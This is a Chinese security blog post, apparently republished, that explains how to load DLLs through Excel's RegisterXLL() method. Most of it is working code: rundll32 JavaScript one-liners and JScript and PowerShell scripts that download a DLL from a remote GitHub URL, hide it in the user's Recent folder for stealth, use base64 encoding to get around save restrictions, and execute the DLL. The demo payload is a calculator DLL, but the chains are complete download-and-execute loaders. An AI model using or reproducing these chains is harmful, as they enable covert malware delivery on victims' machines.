利用Excel.Application object’s RegisterXLL() method加载dll

简介: 本文讲的是利用Excel.Application object’s RegisterXLL() method加载dll,Ryan Hanson‏@ryHanson最近分享了一个技巧,利用Excel.Application object's RegisterXLL()能够加载dll。
本文讲的是 利用Excel.Application object’s RegisterXLL() method加载dllRyan Hanson‏@ryHanson最近分享了一个技巧,利用 Excel.Application object's RegisterXLL() 能够加载dll。我对其分享的POC作了测试,接着做了扩展,添加功能实现远程下载执行,并且分析该方法相关的利用技巧,详细介绍脚本开发中的细节。

0x01 简介

本文将要介绍如下内容:

· POC测试

· 添加功能实现远程下载执行

· 扩展用法1:通过powershell实现

· 扩展用法2:结合rundll32使用

0x02 POC测试

POC地址如下:

https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52

前提是系统已安装Microsoft Office软件,共提供三种利用方式

1.rundll32

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:testmessagebox.dll');this.close();

2.js

var excel = new ActiveXObject("Excel.Application");excel.RegisterXLL("C:testmessagebox.dll");

3.powershell

$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))$excel.RegisterXLL("C:testmessagebox.dll")

注:

测试的messagebox.dll来自于:https://github.com/3gstudent/test/blob/master/msg.dll

大小3kb,源代码及编译方法可参照文章《Use Office to maintain persistence》:

0x03 添加功能

Jscript基础知识:

1、输出内容

js代码如下:

WScript.Echo("1");

直接执行js脚本会弹框

cmd执行:cscript.exe msg.js,控制台输出1

2、特殊目录

输出当前用户的临时目录:

WScript.Echo(WScript.CreateObject("WScript.Shell").Environment("USER")("TEMP"));

输出Recent目录:

WScript.Echo(WScript.CreateObject("WScript.Shell").SpecialFolders("Recent");

%AppData%MicrosoftWindowsRecent(该目录后文会用到)

如下图

利用Excel.Application objects RegisterXLL() method加载dll

添加文件名并输出:

WScript.Echo(WScript.CreateObject("WScript.Shell").SpecialFolders("Recent")+"msg.dll");

对原POC添加功能:

1、判断是否安装Microsoft Office

通过判断是否存在Microsoft Office默认安装文件夹实现

查找文件夹:

"c:Program FilesMicrosoft Office"

对应js代码如下:

var FileSys = WScript.CreateObject("Scripting.FileSystemObject");   if (FileSys.FolderExists("c:Program FilesMicrosoft Office"))   {       WScript.Echo("[+] Find Microsoft Office.");   }else{    WScript.Echo("[!] I can't find Microsoft Office!");    }

2、从Github下载dll文件并保存至Recent目录

方式1:使用Msxml2.XMLHTTP

var sGet=new ActiveXObject("ADODB.Stream");var xGet=null;xGet=new ActiveXObject("Msxml2.XMLHTTP");xGet.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",0);xGet.Send();sGet.Type=1;sGet.Open();sGet.Write(xGet.ResponseBody);sGet.SaveToFile((WScript.CreateObject("WScript.Shell").SpecialFolders("Recent")+"calc.dll"),2);

方式2:使用WinHttp.WinHttpRequest.5.1

h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);h.Send();s=new ActiveXObject("ADODB.Stream");s.Type=1;s.Open();s.Write(h.ResponseBody);x=new ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"calc.dll";s.SaveToFile(x,2);

两种js方式均可以,但是在rundll32下使用的话,需要使用方式2,原因如下:

不支持WScript.CreateObject("WScript.Shell"),需要换成new%20ActiveXObject("WScript.Shell")

cmd执行:

rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";xGet=new%20ActiveXObject("Msxml2.XMLHTTP");xGet.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",0);xGet.Send();

提示权限不够,如下图

利用Excel.Application objects RegisterXLL() method加载dll

注:

选择保存在Recent目录是为了提高隐蔽性

保存在Recent目录,通过explorer.exe无法查看下载的dll,详情如下图

利用Excel.Application objects RegisterXLL() method加载dll

但在cmd下能够查看下载的dll,详情如下图

利用Excel.Application objects RegisterXLL() method加载dll

在其他目录不存在这个问题,详情如下图

利用Excel.Application objects RegisterXLL() method加载dll

为保证js和rundll32利用代码格式对应,原js代码作相应优化,最终代码为:

FileSys = WScript.CreateObject("Scripting.FileSystemObject");   if (FileSys.FolderExists("c:Program FilesMicrosoft Office"))   {       WScript.Echo("[+] Find Microsoft Office.");     WScript.Echo("[+] Download file...");    h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");    h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);    h.Send();    s=new ActiveXObject("ADODB.Stream");    s.Type=1;    s.Open();    s.Write(h.ResponseBody);    x=new ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"calc.dll";    s.SaveToFile(x,2);    WScript.Echo("[+] Download Success.");    WScript.Echo("[+] Load dll...");         e= new ActiveXObject("Excel.Application");    e.RegisterXLL(x);    WScript.Echo("[+] Load dll Success.");    }else{    WScript.Echo("[!] I can't find Microsoft Office!");        }

注:

相关代码已上传至Github,完整POC可参照:

https://github.com/3gstudent/ExcelDllLoader

0x04 扩展用法

1、通过powershell实现

$path=$env:APPDATA+"MicrosoftWindowsRecentcalc.dll"$client = new-object System.Net.WebClient$client.DownloadFile('https://raw.githubusercontent.com/3gstudent/test/master/calc.dll', $path)$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))$excel.RegisterXLL($path)

注:

该代码缺少判断MicrosoftOffice是否安装的功能

2、结合rundll32使用

需要注意如下细节:

· 空格用%20表示

· 为避免执行后弹框,需要加入语句document.write();

否则,如下图

利用Excel.Application objects RegisterXLL() method加载dll

使用ADODB.Stream保存文件,会报错,测试代码如下:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);h.Send();s=new%20ActiveXObject("ADODB.Stream");s.Type=1;s.Open();s.Write(h.ResponseBody);x=new%20ActiveXObject("WScript.Shell").SpecialFolders("Recent")+"calc.dll";s.SaveToFile(x,2);

提示因为安全设置导致无法保存文件,如下图

利用Excel.Application objects RegisterXLL() method加载dll

换用Scripting.FileSystemObject,能够保存文本文件,但是不支持二进制文件

保存文本文件,测试代码如下:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/version.txt",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:test1.txt",true);f.WriteLine(h.ResponseText);f.Close();

保存二进制文件,测试代码如下:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calc.dll",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:test1.txt",true);f.WriteLine(h.ResponseText);f.Close();

报错,如下图

利用Excel.Application objects RegisterXLL() method加载dll

解决方法:

将二进制文件作base64编码并保存成文本文件,再通过Scripting.FileSystemObject保存

对calc.dll作base64编码并保存至文件buffer.txt,对应powershell代码如下:

$fileContent = [System.IO.File]::ReadAllBytes('calc.dll')$fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("buffer.txt")

注:

读取二进制文件,不能使用命令Get-content

将buffer.txt上传至github

下载base64并保存文件对应的js代码如下:

h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);h.Send();fso1=new ActiveXObject("Scripting.FileSystemObject");f=fso1.CreateTextFile("c:test1.txt",true);f.WriteLine(h.ResponseText);f.Close();

下载base64并保存文件对应rundll32的代码如下:

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);h.Send();s=new%20ActiveXObject("Scripting.FileSystemObject");f=s.CreateTextFile("c:test1.txt",true);f.WriteLine(h.ResponseText);f.Close();

文件保存成功,该文件存储base64加密后的calc.dll

base64解密该文件并加载dll对应的js代码如下:

x="c:testcalc.dll";h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","https://raw.githubusercontent.com/3gstudent/test/master/calcbase64.txt",false);h.Send();var enc = new ActiveXObject("System.Text.ASCIIEncoding");var length = enc.GetByteCount_2(h.ResponseText);var ba = enc.GetBytes_4(h.ResponseText);var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");ba = transform.TransformFinalBlock(ba, 0, length);s=new ActiveXObject("ADODB.Stream");s.Type=1;s.Open();s.Write(ba);    s.SaveToFile(x,2);new ActiveXObject("Excel.Application").RegisterXLL(x);

注:

以上两段代码结合,可应用在通过rundll32进行文件下载(先通过rundll32下载base64加密的文件,然后使用js脚本解密),可解决在之前的文章《JavaScript backdoor》给读者留下的小bug

base64解密该文件并加载dll对应的powershell代码如下:

$FilePath="C:testtest1.dll"$base64Buf = Get-content c:test1.txt$fileContentBytes = [System.Convert]::FromBase64String($base64Buf) [System.IO.File]::WriteAllBytes($FilePath,$fileContentBytes)$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))$excel.RegisterXLL($FilePath)

0x05 小结

本文介绍了利用Excel.Application object’s RegisterXLL() method加载dll的相关方法,着重分析如何编写js和powershell脚本对其扩展,并解决了在之前的文章《JavaScript backdoor》给读者留下的小bug。




原文发布时间为:2017年7月24日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
5月前
|
Java
java判断Object对象是否为空demo
java判断Object对象是否为空demo
|
12天前
|
JavaScript
js 字符串String转对象Object
该代码示例展示了如何将一个以逗号分隔的字符串(`'1.2,2,3,4,5'`)转换为对象数组。通过使用`split(',')`分割字符串并`map(parseFloat)`处理每个元素,将字符串转换成浮点数数组,最终得到一个对象数组,其类型为`object`。
|
1月前
|
存储 设计模式 Python
Python中的类(Class)和对象(Object)
Python中的类(Class)和对象(Object)
27 0
|
1月前
|
存储 JavaScript
JS中Map对象与object的区别
JS中Map对象与object的区别
|
5月前
判断Object对象是否为空
判断Object对象是否为空
|
2月前
|
Java 流计算
在Flink实时任务中,POJO(Plain Old Java Object)对象的模式演进可能会引起不兼容的问题
【2月更文挑战第6天】在Flink实时任务中,POJO(Plain Old Java Object)对象的模式演进可能会引起不兼容的问题
19 3
|
3月前
|
JavaScript 前端开发 测试技术
Proxy vs Object.defineProperty:哪种对象拦截机制更适合你?
Proxy vs Object.defineProperty:哪种对象拦截机制更适合你?
|
3月前
|
存储 JavaScript 前端开发
【JavaScript】<面向对象Object>函数方法&对象创建&原型对象&作用域解析
【1月更文挑战第17天】【JavaScript】<面向对象Object>函数方法&对象创建&原型对象&作用域解析
|
3月前
|
JavaScript 前端开发
如何巧妙使用`Object.keys`方法将`JS`的一个对象的特定的值赋值给另外一个对象
如何巧妙使用`Object.keys`方法将`JS`的一个对象的特定的值赋值给另外一个对象
17 0
|
8月前
|
JavaScript 前端开发
JavaScript 使用对象字面量创建对象、使用new Object创建对象
JavaScript 使用对象字面量创建对象、使用new Object创建对象
73 0